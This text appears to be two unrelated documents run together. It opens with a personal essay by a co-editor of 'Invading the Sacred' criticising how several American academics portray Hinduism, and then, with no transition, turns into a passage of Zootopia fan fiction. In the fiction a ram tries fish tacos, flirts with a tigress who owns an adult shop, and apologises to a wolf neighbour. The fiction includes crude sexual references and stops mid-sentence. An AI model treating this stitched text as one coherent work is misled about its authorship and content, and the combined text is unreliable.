Dharma Shastras. In my puja room are texts of stotras and pujas that I am eager to learn but have not yet touched. A few blocks away, at the local Hindu Center, a Bhagavat Katha is taking place. Similarly, for the past several months, as I became involved in co-editing the book, Invading the Sacred: An Analysis of Hinduism Studies in America, papers I had planned to write--on Hindu models of feminism and narratives of my recent pilgrimages in India--went unwritten.
In an ideal world, I would have preferred any of those activities to this type of writing; but if I had to do it all over again, I would still have chosen to work on Invading the Sacred. The simple reason is that I believe now, as I did then, that not just as a Hindu, but as one who is committed to the objectives of true pluralism and multiculturalism, a deeper understanding of the issues raised by this book is critical to achieving those goals.
This essay is the story of why I became involved with co-editing Invading the Sacred, a book that analyzes the representation of Hinduism in American academia and the ensuing and ongoing politics when such representations are challenged both by the Indian diaspora as well as by academicians, and what this book means to me.
Three Vignettes--Personal Experiences of Hinduphobia
When I was in high school, my American History teacher, for no discernible reason, read to the class a newspaper clipping about an airplane that had accidentally landed in a remote Indian coastal village. The article described how the villagers rushed to garland the plane and pilot. The students (and my teacher) uproariously laughed at the apparent ignorance of these villagers who mistook an ordinary airplane and pilot for gods. At that age, I did not have the words or the wherewithal to explain to them that Hindus honor anything and anyone that enters their home for the first time. It is customary for Hindus to garland honoured guests, for example, or to place a dot of vermilion powder on new purchases. This does not mean we regard these objects or persons necessarily as God; rather, such gestures express our gratitude and respect for them as well as for the Divine who has brought them to us.
In college, I was exposed to Jeffrey Kripal's "theory" of Sri Ramakrishna as a homosexual who had homoerotic feelings about (and possibly abused) Swami Vivekananda. It was presented to me not as speculation but as an academically established and authoritative truth. All my life, I had looked upon Sri Ramakrishna and Swami Vivekananda as holy saints who had revived Hinduism during colonial rule in India. I had a picture of Sri Ramakrishna and Sarada Devi to which I daily offered aarti, and I eagerly read Swami Vivekananda's complete works--one of the few compilations on Hinduism widely available in English that is written from a Hindu perspective. They had been my portal to Hinduism, but I felt shaken by these academic allegations. Instinctively, I knew such claims were baseless, and yet, these claims were made and vouched for by bona fide professors with Ivy League credentials, so they could not be completely wrong. Could they?
Shortly before I began practicing law, my guru advised me to begin wearing a bindi every day--not the stick-on kind but actual kumkum mixed with water. I was pleased to adopt this practice, as the bindi is a mark of auspiciousness and acts as a protective shield for the spiritual center of the body, the third eye (ajna chakra). While some family members and friends warned me that others, especially my colleagues, may frown upon wearing such a mark, I had experienced and believed in the open-minded acceptance of my American peers. However, I then came across Prof. David Gordon White's book, Kiss of the Yogini: Tantric Sex in its South Asian Context, in which he remarks that the bindi a Hindu woman wears represents a drop of menstrual blood.
I grew apprehensive about wearing the bindi to work--would others mistakenly see it as some primitive, (literally) bloodthirsty rite? Still, I have followed my guru's instruction and wear the bindi every day, and I have never regretted it. I do wonder sometimes, though, when catching the surreptitious curious stares of others, what exactly they think when they see the red oval between my eyebrows, and whether that perception has been shaped by the speculation of'renowned' scholars such as White.
Because I have faced this Hinduphobia, which often shows itself in the subtlest of ways, because I have seen my friends and peers suffer from similar experiences, and because we have never had the voice or the ammunition with which to fire back--with which to say that this is wrong, not because it is offensive or politically incorrect, but because it is baseless and untruthful--because of all this, I could not say 'no' when the opportunity arose to become involved with this book. For, what starts in American universities does not remain there--it spreads globally, percolates through to mainstream culture, to primary and secondary schools, and to the way ordinary citizens interact with and react to each other.
This Hinduphobia acts as a poison; with its spread, it is no longer possible to undertake the projects I really wanted to pursue, those listed at the beginning of this essay. When Hinduism has been projected to represent only the grotesque and sexualised in academia, no serious study of our Dharma Shastras within the academic system is easy; when our modern acharyas and gurus are demonised, an entire generation of budding scholars is too embarrassed to independently engage with their works; and when our most cherished deities and practices are exoticised or sensationalised, we are tempted to abandon those traditions and forms of worship that make us Hindu.
'Sham' Scholarship
The scholarship at issue here is a pattern of Freudian psychoanalyses that sensationalise, eroticise, exoticise and distort the meanings of sacred Hindu figures, deities, and traditions. Invading the Sacred analyses several case studies of such Freudian interpretations. Here are some illustrative examples:
Prof. Wendy Doniger, Mircea Eliade Professor of History and Religion, University of Chicago; Past President of American Academy of Religion and Association for Asian Studies; award-winning author of numerous books on Hinduism:
"Holi, the spring carnival, when members of all castes mingle and let down their hair, sprinkling one another with cascades of red powder and liquid, symbolic of the blood that was probably used in past centuries." [1]
"The Bhagavad Gita is not as nice a book as some Americans think … Throughout the Mahabharata... Krishna goads human beings into all sorts of murderous and self-destructive behaviors such as war... The Gita is a dishonest book; it justifies war." [2]
Jeffrey Kripal, J. Newton Rayzor Professor of Religious Studies and Chair of the Department of Religious Studies at Rice University. [From Kali's Child, which won the Best Book Award from the American Academy of Religion and was listed by Encyclopedia Britannica as its top choice for learning about Sri Ramakrishna:]
Claims that the mystical experiences of saints like Sri Ramakrishna and Swami Vivekananda were the result of sexual abuse and sexual confusion;
"These homoerotic energies, in other words, not only shaped the symbolism of Ramakrishna's mysticism; they were his mysticism. Let me be very clear: without the conflicted energies of the saint's homosexual desires, there would have been no Kali's sword, no unconscious Handmaid, no conflict between the Mother and the Lover, no Child, no Radha, no living lingam, no naked Paramahamsa boys, no Jesus state, no lovebody, no ecstatically extended feet, no closing and opening doors, no symbolic visions, no bhava, and no samadhi. In effect there would have been no 'Ramakrishna.'"
Prof. Paul Courtright, Professor of Religion and Asian Studies and Former Chair of the Department of Religion and of Asian Studies at Emory University. [From Ganesa: Lord of Obstacles, Lord of Beginnings, which won the History of Religions award from the American Academy of Religion:]
"Its (Ganesa's) trunk is the displaced phallus, a caricature of Siva's linga. It poses no threat because it is too large, flaccid, and in the wrong place to be useful for sexual purposes." [3]
"He [Ganesa] remains celibate so as not to compete erotically with his father, a notorious womaniser, either incestuously for his mother or for any other woman for that matter." [4]
"Both in his behavior and iconographic form Ganesa resembles in some aspects, the figure of the eunuch… Ganesha is like a eunuch guarding the women of the harem." [5]
Courtright's work was the source for an official museum write-up about a large 11th century Ganesha carving in the Walters Art Gallery, a Baltimore museum visited by many schoolchildren: "Ganesa, is a son of the great god Siva, and many of his abilities are comic or absurd extensions of the lofty dichotomies of his father … Ganesa's potbelly and his childlike love for sweets mock Siva's practice of austerities, and his limp trunk will forever be a poor match for Siva's erect phallus."
These works are objectionable not because they are offensive per se, but because they are based on flimsy, unsubstantiated, and often non-existent evidence. Such failings have been pointed out by fellow academics (many of whom have no association with Hinduism or India), but their challenges have gone unanswered. Doniger never responded to Michael Witzel's critique of her Sanskrit translations that are described in the book. (Witzel, one of the leading Sanskrit scholars in the U.S., has stated that Doniger's translations are so riddled with mistakes that they are unreliable and that she would have been better off adding her Freudian gloss to older translations.) Courtright has refused to debate with or even address those who have compiled overwhelming textual evidence to rebut his claims. Neither they nor Prof. Kripal have addressed critiques by several prominent professors from the field of psychology and psychoanalysis that their works are based on discredited methodologies. These detailed scholarly critiques, among others, have been reprinted and/or summarised in our book.
Doniger et al. do not defend themselves by defending their theses--that would be too embarrassing. Instead, as we also show in our book, they simply decry their critics as being fundamentalist or childishly emotional, and they hide behind the fig leaf of 'academic freedom.'
Competing Narratives
The first question that most people ask after reading substantive critiques of such'scholarship' presented in our book is, "Why?" Why does this coterie of scholars produce work that is academically suspect by their own standards, that insists on sexualising and sensationalising the sacred, and that is so at odds with what Hindus know to be true about their own traditions? The second question usually is, "Why is there such a discrepancy between the American academic treatment of Hinduism and that of other religions?" (A more detailed study of this issue can be found in the book, where we reprint an article by Sankrant Sanu on the discriminatory treatment doled out to Hinduism vis-à-vis other religions in the previous edition of the Microsoft Encarta Encyclopedia.). We note that even when criticisms are leveled at other religions, they are overwhelmingly balanced out by more positive depictions by emic (internal to the tradition) practitioners of those faiths. The ratio of emic (insider) to etic (outsider) scholars in the academic study of religions in American universities today is much higher in virtually all other religions than in Hinduism.
More importantly, some scholars appear to feel entitled to take a certain political and intellectual license with respect to Hinduism that they would not take with respect to other religions. For example, White's book on Tantra, Kiss of the Yogini: Tantric Sex in its South Asian Context, only deconstructs Hindu Tantra but does not address the Vamachara Tantra of Buddhism, which is arguably more prominent today than Hindu Tantra. Proving the politicisation of such scholarship, our book notes that in her review of White's book, Doniger raises serious criticisms of the lack of evidence behind White's thesis but then goes on to say that Kiss of the Yogini "has a political importance that eclipses reservations of this kind … In arguing for the sexual meaning of the texts, White is flying in the face of the revisionist Hindu hermeneutic tradition that began in the eleventh century, was favored by Hindus educated in the British tradition from the nineteenth century onwards, and prevails in India today." [7]. In other words, according to Doniger, whether or not White's claims are accurate, his political ends justify his questionable academic means.
In order to understand what drives such scholarship, we need to view this phenomenon, which we call academic Hinduphobia, not as isolated incidents of excess and error but as part of a larger trend that has spanned many decades and many disciplines. |
I notice a line of around a dozen or so predator species gathering up at the end of the street with more hurrying over. I'm not sure what they're lining up for -- another block party, maybe they're getting in line for a barbecue? Looking around, I quickly toss that theory. Not even close to enough people out for one. Last time there were mammals out in full force. You could have convinced me that it was a huge rally or parade or something -- felt like half of Zootopia had shown up. Sure, it's busy out tonight, but nothing remotely like it was before. Making my way forward, I realize that the mammals are lined up for a food truck. Whatever they're selling must be something popular, because more and more folks are piping over by the second. Shrugging, I make my way forward and take my place in line without even questioning it. If everyone else is this excited, it must be good, right? Standing in front of me is a tall coyote in a business suit, a briefcase hanging from one of his paws. In front of him is a jackal, equally well-dressed. It takes me a second to realize I've seen these guys before -- in fact, a couple of times now that I think about it. They pause chatting with each other long enough to catch sight of me, and to my surprise they actually turn around to engage me in conversation. "Hey," the coyote rumbles, extending his paw in greeting. "You're that new ram that moved in. Corner? Comor?" "Cormo," I correct politely, offering him my hoof. He squeezes it like most non-hooved species usually do, though to his credit he's gentle about it, like he thinks it's going to break if he isn't careful. "Remmy Cormo. Nice to meet you." "Dewey," the jackal offers as he grips my hoof much tighter, in a much more powerful display. "This is Don, my partner. I've seen you around the neighborhood a few times, actually, but it's good to finally meet you." "Same," Don says, shifting his briefcase to his other paw. "You ever had a street taco, Cormo?" "That what this guy's selling? Can't say I have," I reply, licking my muzzle reflexively as the smell grows stronger. "Closest I've ever had to that kinda cuisine is cornbugs." "Yeah, not really the same level. This guy's stuff's pretty good, and it's rare that he comes by here. Usually sells out quick. I bet if you ask he'll make one herb-style for you." Don glances over at Dewey, who's pulled his cell from his coat pocket and has it aimed at me. "Dewey? Don't." "But--" "Don't," Don echoes, much more firmly. "Imagine if you were over off of Flock eating prey food, and someone was doing that to you. Worse, imagine what the boss would say if she found out. We're not freelancers anymore." Dewey draws a heavy breath through his nose, sighing. "Fine," he grumbles, tucking his phone away. "Not every day you see a ram lined up at a roach coach, though." I chuckle awkwardly. "That's fair. I'm not your typical ram, though." "Goes without saying you're different," Dewey says with a thin smile before turning back to Don. "You're living here." Though his answer is one I've given myself in the past, this time it makes me stop. "So, what, only a 'different' ram would move into this place?" He smirks over his shoulder at me, toothy, but his eyes are calm. "Nah. You got it backwards. I mean that living here for a while is gonna MAKE you different." The line moves fairly quickly, and before long I find myself at the counter as Dewey and Don head off with their order to-go. To my surprise, the guy working the truck is Neil, the lion I met at Packer's Gym. Instinctively I find myself looking around to see if Cliff's with him, but it looks like he's a one-man show tonight. "Hey! Remmy, my man," he grins, brushing some of his loose, unkempt mane out of his eyes. "Didn't expect to see you here! What can I get you?" "What's good, Neil?" I reply, standing on my hooftips to get a better look at his menu. "I hear you got tacos and, uh -- wait, these are made with... fish?" "Well, yeah," he replies, almost apologetically. "But I can do an herbivore one for you--" Shaking my head, I match his grin with one of my own. "Fuck no, I'll take one however it normally comes. I've never gotten a chance to try fish before. Is it anything like bug meat?" Neil takes a deep breath as he pops open a cooler on a shelf behind him, pulling out a fresh, ripe tomato and a head of lettuce. "Better," he answers as he begins chopping them up. "But really, you sure, man? You -- you eat bug meat?" "You couldn't keep me away. I'm actually a regular at Bug Burga," I respond with just a hint of pride. "Fish are like bugs of the sea, right?" "More like bugs wish they were the fish of the land," a wolf behind me interjects with a snarky leer. "Holy shit, what a concept. Lamb eatin' fish. You get separated from the herd, kid?" I snort, taking his jab in stride. After dealing with my neighbors he doesn't even rank on the scoreboard. Besides, right now I don't really give a shit -- I'm kind of mentally freaking out about getting to try real fish. I'm aware I've gotta look like a tourist to these guys, but in a way, I am. I knew there was a fishery somewhere over in Tundratown, but you don't really tend to hear or think much about that kind of stuff growing up in a prey neighborhood. I mean, I only started eating Bug Burga recently, gimme a break. Neil pushes a basket into his deep-fryer, pulling out a thick, battered slab of what I'm assuming is the actual fish. It's golden-brown and crackling. He slices it into thin strips and begins layering it into a tortilla before adding tomato, lettuce, and couple dollops of some kind of white sauce to top it off. Nesting it in foil, he passes the taco over to me. "That'll be three bucks," he says, and I happily fork the money over with a couple extra dollars as a tip. "Hey, thanks, dude." "No, thank you," I respond, accepting it gratefully, almost reverently. The other bystanders in line look kind of awed themselves, and even when I step aside to let them up, the line doesn't move forward to take my place at the counter. Even Neil looks like he's daring me to take a bite. At this point, it'd be an insult to the chef not to. With a shrug, I sink my flat teeth into it -- and instantly I feel like I've died and gone to heaven. Man alive, and I say this with full conviction: fuck bug meat. Okay, well, I don't actually mean that -- bug meat's like a dietary staple for me -- but holy shit, I've gotta look up the nearest fish store (is there even such a thing as a fish store?) and learn how to prepare this at home. The crust is so flaky and buttery, and the fish itself is like... it's soft, almost melts in my mouth, but still there's so much substance to it. That's it. It's substantial. It's hearty. Hearty in a way even Betty's thick vegetable soup isn't. And the sauce! The sauce is better than even firefly sauce, and I thought that stuff was amazing. The fresh vegetables serve as like, a palate cleanser, and -- fuckin' listen to me. I sound like those ascot-wearing pretentious assholes foodies on TV who use words like "couscous" and "toothsome" and "deconstructed". Nobody real talks that way, so I'll just say that this thing is amazing. I'm torn between downing it in two gulps and ordering more, or savoring the one I've got and making it last. "Hey c'mon! You're holdin' up the--" someone about five spots down starts to say, only to be interrupted by literally everyone in front of him INCLUDING Neil. "Fuck you, this is magical!" To my surprise, the snarky wolf's waving him off. "It's like watching a pup take his first steps." Another voice chimes in. "Holy shit, is this a sheep going savage?" "Nah, prey don't go savage," Neil replies, leaning against the counter. "How is it, Remmy? Though I got a feeling I already know." "Mmmhmm." I inhale the rest of my food before wiping my hooves on my shirt, eyes watering. "Fuckin' aces. I'll definitely be back." "Yeah, you know you will," he chuckles. It feels good to get out and stretch my legs. I've been a little mopey lately, so getting a change of scenery really has helped lift my mood. I've missed hitting up all my usual haunts, and it's always nice to discover new ones, too. Finding out about little hole-in-the-wall places like Packer's, the deli, or Neil's food truck. Those little high notes that give me something to look forward to rather than dread. Even the alley court Ozzy took me to has really turned out to be a hidden gem. In fact, I've found myself going out of my way to swing by there on my way to and from work -- something about the wall art there really fuckin' does it for me. If I could rip it off that wall and hang it in my living room, you'd damn well better believe I would. And even now, as I wander these streets like some hobo, I keep finding new graffiti that looks like it should be hanging in a museum. If Ozzy hadn't pointed it out, I'd still think they were murals. I'm admiring a new piece: a solid-white, uncolored cat vandal with rollerblades posed dramatically against a sea of green, yellow, and orange spraypaint cans and tags. And as I'm taking in this street art, it suddenly occurs to me that I don't actually know where I'm going. I'm not going to work, and the gym's probably at peak hours right now based on what Avo told me. Somehow, my legs are moving with purpose but my brain's been asleep at the wheel. I don't actually recognize this area at all. Shit. I might actually be lost. All I really wanted to just get a little fresh air before I went to make amends with Al, but I guess the truth is I'm just not ready to face him yet. A loud, abrupt noise like a gunshot ringing out nearby causes me to jump, and instantly I press flat against a nearby wall. A few seconds later it goes off again, then again, then again. Like there's a rhythm to it. After my heart slides out of my throat and back into my chest, I listen closely, realizing I recognize that sound; it is in fact a gun, but one that fires nails, not bullets. Turns out I'm near a construction site. Stepping around the corner of the building I'm at, I can't believe my eyes. Speak of the fucking devil. Standing in the thick of a construction site at a lot across the street is the big white wolf himself, wearing a hard hat and an orange vest. Scurrying all along the ground by Al's feet are several smaller mammals -- stoats, ferrets, even a ground squirrel, all in matching construction gear. In his arms is a bundle of rebar piled high all the way up to his chin. He's lumbering along at a steady pace, dumping the load on the ground halfway across the site before going back to get more. As he does, however, a tinny, feedback-filled voice I can't quite make out bursts to life. Al stops midway, ears lowering ever so slightly against his head as he turns around. The ground squirrel is shouting something at him with a megaphone. Between his high-pitched voice and the poor sound quality, I'm having trouble catching everything he says. But Al nods quietly, and without a word walks back over to the rebar and picks the entire stack up again only to move it a few measly inches over. It's really weird seeing him taking orders from someone else. I watch from behind a trash can as this continues for several minutes -- the ground squirrel shouts something out, Al nods and complies. He's just standing there fuckin' taking shit off this wiry little fuck like I've never seen him do before. You know, the ALPHA -- the guy that runs the whole show around here. I guess it makes sense. Pack rules may count for a lot at home, but at a paid job, nobody's gonna give a shit what your rank is unless it's in the company. Sweat's pouring off of him in buckets, and his clothes are streaked in mud and concrete powder. He looks tired, but he doesn't stop once to take a break. Doesn't complain. Every so often I even catch him starting to raise his muzzle to the sky, only to quickly lower it again. Seems the smaller animals have got him hauling their building materials around, while they drive their construction equipment. There's a dinky little backhoe that looks like something you'd see in a toy shop, and an equally pitiful miniature crane at the top of the building they're working on. A weasel in a road roller with a drum about as big as a rolling pin smooths out a pile of dirt, while a mouse drives a bulldozer around that looks more suited to demolishing sandcastles than clearing land. I'm not kidding when I say the lollipup's toy airplane would fit right alongside their machinery. Something appears to be missing from their assortment, though, and I can't put my hooftip on it. And then it hits me like a brick to the teeth. Forklift. That thing I drive every day at work. They don't have one -- Al's their fucking forklift. I feel my cheeks burning as I watch. Sure as shit, that's exactly what he's doing. Picking up stacks and pallets of equipment and transferring it to different places at the construction site, picking stuff off one level and shifting it up or down to another. Like a forklift operator would do. They're using him like he's a fucking appliance and he's not saying a damn word. Just "yes sir", "no sir", "right away sir". I don't know what this feeling is that's hitting me out of nowhere, but my face is hot and my nose is running. Gotta be some leftover sinus issues from my recent sickness. Yeah. That's it. I grit my teeth, dragging my muzzle down the back of my sleeve as I turn away. I've seen more than enough here. Hooves in my pockets, I find myself drifting back towards home the same way I came. The charge in the air, the pleasant thrill's gone. I can't get the image of what I saw back there out of my head. That scene's gonna be with me for a while to come. Right now I'm just trying to focus on retracing my steps. I'm still on Pack, so even if I'm lost, it's not gonna be too hard finding my way home. Worst case scenario, I just ask someone. A sudden, shrill whistle cuts the silence, causing me to shake loose from my thoughts. Looking up, I spot the source of the noise seated at a nearby sidewalk cafe table -- a tigress dressed in a button-up blouse and a pair of cutoff pants. "Li'l lamb!" she shouts, a grin on her face. "I thought I recognized you! C'mere!" Blinking, it takes me a couple of seconds to place her. Ahhh, Dora -- or rather, Pandora. She's eating alone, a glass of wine and a mostly-finished plate laid out in front of her. Wandering over to her table, I give her a polite nod and a nervous smile. "Hi again, Pandora," I respond, reaching my hoof out for a squeeze. Instead of gripping it like most of the other mammals around here do, she extends her claws and taps them against my hooftips in a sort of gentle pushing motion. It's the closest I've ever seen a pawed animal of any kind get to an ungulate-tap, the kind me and Velvet do. On the other hand, hooved mammals don't have claws, so I'm both impressed AND frightened. "We didn't get much of a chance to talk last time, so I'm glad I ran into you." She breaks into a wide, sharp smile that heavily contrasts her half-lidded bedroom eyes. Taking a sip of her wine, she motions for me to be seated. "Can I get you an apéritif? I wanted to thank you and Foxtrot again for the help in procuring 'that' for me. I may very well be in need of another shipment soon, seeing as how I underestimated how popular of a product it'd be." "Oh, no, no thanks. And really, no problem," I chuckle nervously, pulling my chair out from the table and sitting down across from her. "It was a lot of fun, but really, don't mention it. Like, to anyone." "Mr. Marshmallow, I run a chain of stores that offer adult novelties and other items to be purchased on the sly!" she protests, feigning offense. "Discretion is more than JUST a company policy -- your secret is safe with me. Besides, the cops would be all over me if word got out, and not in the good way. I prefer my handcuffs to be fur-lined." "Uuuggghh. That was terrible," I snort, making a little rimshot noise with my hooves on the table. "Mm, thank you, thank you. I'll be here till Thursday. Try the fish," she jokes. "I did, actually," I answer with a grin. "For the first time tonight, in fact -- from a little taco stand a guy I know runs. I've never had fish before, but it was really damn good." "No kidding! Good for you; I don't know what I'd do without fish," she says, paw pressed to her chest theatrically. "You have to try it from Whiskers' Pub over in the Square. They serve fried cod with sliced, fried potatoes. Put a little malt vinegar on it and have you an ice-cold beer, and you'll forget all your troubles." "Oh, that sounds incredible." I make a mental note to hit it up if ever on that side of town for anything. "I'll admit it, I could eat my way across Zootopia. I was surprised at how much more -- I dunno, 'pure' fish tasted than bug meat. Like, don't get me wrong, a burga's great and all. But this was like the difference between apples and apple-flavored candy." "Oh, I agree completely," she nods, returning her attention to the remnants of her meal. "That's because it's not processed, like bug meat is. Bugs don't come in the shape of a patty, you know? So they have to grind them up, add fillers and binders and all that nonsense. 'Pure' is a good way of describing it -- fish is more... whole. What sort of fish was it?" "Oh, uh, I didn't ask. How many different kinds are there? Are they not mostly the same?" She laughs good-naturedly and shoots me an excited smile, resting her huge, warm paw on my hoof across the table. "Oh, my sweet, naive little marshmallow, there are many, many kinds and no, they are NOT mostly the same." "Well hell, now I wish I'd asked." She shifts back, nodding. "Mmh. You think you've just found the ultimate food, but you've only just gotten started. You have a WORLD of seafood ahead of you. Ah, what I wouldn't give to try tuna for the first time. Or swordfish. You'll have to come dine with me sometime. The reactions on your cute little face alone would be worth the price of the food." "Dora, please!" I protest with a laugh, "If a beautiful woman takes me out for fish I might ask her to marry me on the spot." She covers her mouth, giggling and flicking her ears involuntarily. "Mr. Marshmallow, you flatter me. Please, stay a while. Let me get you a digestif, at least." She calls over the waiter, who doesn't look like he knows the term 'digestif' any more than I do, and before I know it, Dora and I are laughing over a few empty drinks. "...well, for confidentiality reasons I'm not going to, you know, comment too much on my clientèle," Pandora continues, "But yes, those two are the best customers a girl like me could ask for. And I don't mean just in spending -- Wolter's nothing but polite whenever I see him, and Annie's a very thoughtful shopper. You'd be surprised at some of the types that come into an adult bookstore at three in the morning." "All right, all right," I grin, leaning over the table, "Well c'mon, tell me something REALLY juicy. I'm sure you've got some great stories." "You don't know the half of it," she giggles. "I could keep you here for hours, li'l lamb." "Well? Go on, dish, I'm not going anywhere just yet," I prod. "C'mon, at least one. I can't be the biggest weirdo to have ever walked through your doors." "Weirdo? You? A shy young man comes in and can't find the nerve to buy anything? Please, you don't even register." Wiping her lips on her napkin, she begins to drum her clawtips on the wrought-iron table to jog her memory. I wipe my forehead in a gesture that's only partially for show. "Well, nice to know I won't be going down in history for that, at least." She sniffs, looking up to the dark sky. "Let me see. A few years ago, the citywide ban on leashes and collars was lifted. That was from the days of the Byron Manifesto, of course." I cringe. "Oh, I remember hearing about that when I was younger. Awful stuff." "Dreadful business, indeed. But when it was overturned, my buying agent comes to me and goes -- 'Dora, leashes and collars are looking hot this season, let's order some.' And I'm like 'ahaha, what? No, no way, nobody's gonna buy those things'." "Except of course, they did, didn't they?" I grin, already eager to see where this is going. "Of course!" she agrees, forking her slice of after-dinner cake with gusto. "We put this small ad out online, you know -- we get a lot of web orders because, let's be real, nobody's going to come all the way to Pack Street from Tundratown JUST to buy a plain old dildo -- and we're advertising that we have collars and leashes for fantasy use. The collars we sell are for show only because of regulations. If you tug too tight, there's a hidden clip on the inside that pops it loose -- like uh, you know, like those clip-on ties the police wear." "Yeah, you don't want someone choking themselves if they get a little too 'into it' -- last thing you need is a lawsuit." "Yeah, exactly. I mean, I make pretty good money, but not nearly enough to feed a lawyer," she says with a laugh. "So we've got this ad out and within like, an hour, this guy and his girlfriend show up. Probably in their twenties and forties -- May-December couple, you know? They immediately go straight for the leashes and collars I'd just finished stocking and buy one of every color we've got. Because the female wants them to be 'coordinating' with various outfits." "Wait wait, mammals don't wear those things in public, do they?" I interrupt. She giggles excitedly, leaning forward right into my face and tracing her claw over my chin. "Oh, you sweet innocent little thing, you really don't know the first thing about true perversion, do you?" "I'm a hooves-on learner," I shoot back with a grin. My cheeks flush immediately at my own quip. God, how much did I have to drink? To my surprise, she purrs in response, sitting back. It's not something I've encountered often, but it's pretty clear what it means. She returns to her wine with a sly smirk. "You really ARE a predator at heart, li'l lamb." "Excuse me," I murmur with a sheepish smile. "Mm, but you haven't heard the best part -- right then and there, soon as he's paid up, he wraps the collar around his girl's neck and makes her crawl out on all fours, and it's at this time that I notice she's wearing a VERY short dress -- and that's it." Pandora flags the waiter over with a wink as my eyebrows rocket up my forehead. "I'm sure a lot of it was them getting off on the public humiliation aspect, you know. But I learned right then and there that I'd be seeing all types in this business." Sounds like something Annie would do and oh shit I'm suddenly imagining Annie in a collar, being walked on a leash with her tail in the air. As she begins to settle the check, she looks up at me in surprise. "Can I get you anything else for the night, marshmallow?" "J-just some water," I reply, coughing. "I just got real thirsty all of a sudden." My brief hello to Dora turned into a rather long chat, but we've both been enjoying ourselves so much I sort of lost track of the time. After she settles the bill (and refuses to let me chip in), we sit for a while and wrap up our conversation. "It's been a pleasure getting to know you," she purrs, standing gracefully. I nod, smiling. "Likewise. I have some things I should probably stop procrastinating over, but it's a small world -- I'm sure I'll see you around soon." "Before we part ways, at least allow me to indulge in something I've been meaning to do anyway," she says. Pandora motions for me to follow her, so with a shrug I begin trailing her down the sidewalk. Al's probably not home yet anyway, so I have no reason to be anywhere specific at the moment. We walk about half a block before the sounds of a muffled bassline and electronic music begin to fade into my ears, and it suddenly clicks in my head. Of course I ran into her. Makes sense she'd be eating near where she works. As we walk up to the front door of Pandora's Box, I find myself getting cold hooves. The toned, towering tigress doesn't notice my hesitation and tosses the door open, heading straight to the back of the shop. A large-screen TV in the lobby is blaring an adult movie with a number of males gathered around watching approvingly -- looks like it's some kind of parody. I don't recognize the actress in it, but a paw-written sign next to the screen reads "Tonight: Amateur Blinkie Hoggs' Video Debut ~ A Pandora's Box Exclusive" in very flowery writing. Gulping, I quickly turn away before I get any more uncomfortable. Fortunately, Avo isn't working tonight, and there's no Betty in the immediate vicinity. I do, however, know one of the guys crowded around the screen, but Wolt's too busy salivating over Ms. Hoggs' freshly-glazed hamhocks to spare me even a first glance. "All set, li'l lamb," Pandora beams as she comes walking from behind one of the aisles, a paper bag with a folded scrap of tissue covering its opening. "Since you weren't able to take me up on my discount offer last time, I wanted you to at least have something as a thanks for everything... and maybe an incentive to come back sometime." "Chumming the waters?" I laugh nervously, accepting the bag with a dip of my head. "Ah, a fish analogy, too," she grins, leaning against the counter. "Oh, marshmallow. If only you were about twice as tall." "I don't mind," I return quietly, "the view's lovely at any height." She suddenly kneels down, kissing me on the snout. "You're a sweetheart. Do keep me posted on your seafood explorations." "Yeah, sure thing," I chuckle, blushing as I clutch the shopping bag's handles. At least she used a discreet bag instead of one emblazoned with her logo. "Really, though... thank you for the gift, Pandora. I'm sure I'll, uh, appreciate it." "My pleasure. Tell Avo I said 'hi' if you see her." "Will do." What a visit. I never expected to hit it off so well with anyone around here, and definitely not a hulking tigress-turned-smut-peddler like Pandora. I think I needed that. She's not quite my type, but I can see myself becoming fast friends with her for sure. For someone who owns a store jam-packed with obscure porn and pool noodle dildos, she's surprisingly level-headed, and that's a pretty nice trait to have for a Pack Street resident. I can see why Wolt and Annie are regulars here, and for once, I don't think it's solely for the lewd material. Tucking my bag under my arm, I decide to hurry on home. It's not too terribly far from here, and the last thing I want is for one of my neighbors to stop me and frisk me for whatever I've got. I'd never hear the end of it. It's well into the late morning when the lobby door swings open, jarring me awake. I guess I must've dozed off sitting on the couch, waiting for Al to get home. Sleeping off the drinks maybe. Had a few more than I realized. At least I remembered to put the gift bag away in my room first. I can hear heavy footfalls trudging inside, followed by the sound of paws scraping against the floor mat. Straightening in my seat, I turn my focus to the entrance of the apartment building, hooves clasped over my stomach. Al tiredly shuffles inside. Thick, dark circles hang under his eyes. His usual white fur is smudged with mud and debris from the job site. There's an alarming red stain that's about ankle-height on his jeans, and a visible bandage strip wrapped around his foot. He takes a moment to close his eyes and breathe slowly as if he's in the middle of meditating, and for the briefest second, his shoulders shudder. He's obviously just trying to calm the fuck down after the night he's had. I don't blame him at all -- sure, my boss isn't a saint, but I've got a hell of a great job compared to what I saw Al going through. How he's able to put up with that and keep his calm is beyond me. As he throws his coat over the back of the lobby couch, he looks up and notices me for the first time, freezing in place. I figure he'd have smelled me long before walking in, but his nose is caked thick with dirt and dust. His eyes narrow to slits and he stands over me, staring coldly. "Move." He doesn't break eye contact, but I sure do. Working up all the nerve I have left, I stand up from my seat, pressing my hooftips together. "Al," I ask, hesitantly, my voice cracking just a little. "Could I -- I'm s-- can I talk with you for just a second?" His lips curl, but instead of a toothy growl, all he offers is a tired frown. "You really want to do this right now, when I just got home," he rumbles. It's not spoken as a question or an inquiry. It's more like a statement. Or maybe a challenge. He's challenging me, daring me to step out of line again. Daring me to say something stupid so he can punch my fucking skull in. I'm all but shaking with fear, but I've got to do this. Walking very slowly with my head lowered in submission, I stop just a foot or so away from him. I don't look up. I don't dare look up. I can hear his breathing. It's labored, raspy. Like he's winded. Like he's just run a marathon. His arms fold, and I recite the lines I've been rehearsing on and off in my head for most of the night. "I just -- Al, look, I want. I wanted to, to say that I'm really sorry for my -- for what I've said, and what I've done. It was disrespectful and -- well, it was just shitty on my part. I'm sorry." I swallow the lump in my throat, trying to force the rest of the words out. The wolf sighs, folding his arms slowly. "Do you even know what the problem is, or are you just apologizing because you're scared?" "I mean -- partly because I'm scared, yeah," I admit, "But still. I had no right to say those things to you, especially in your territory. Especially in front of everyone else. I understand now that you were just trying to -- to settle it all quickly, and I should've let you. I could make a million excuses or reasons why I did it but I did it, and that's on me. I'm sorry, and I also apologize for whatever trouble I caused you and Vel-- uh, Ms. Roe." He's quiet for a second, then scratches his nose with the claw on his thumb and sniffs. "Comin' to me was good. And I ain't gonna beat the point into you if you're already on it. But words are cheap. You want to settle things, we can't be doin' like this moving forward. Get me?" I nod instantly. "Yes. And it won't happen again. Ever." He doesn't say anything else, and at this point I feel like expounding on it would just be stammering to fill the radio silence. Every instinct in me is screaming in my ears to run, to run and never look back. I shove all of that to the back of my mind, trying not to think about what'll happen if I DO run. Fear conquers the greater fear. I clamp my eyes shut, turning my head up to point at the ceiling like I've seen the other wolves do. My knees are knocking as I expose my throat -- my fucking neck -- to him in a bid for his approval. I can just barely bring 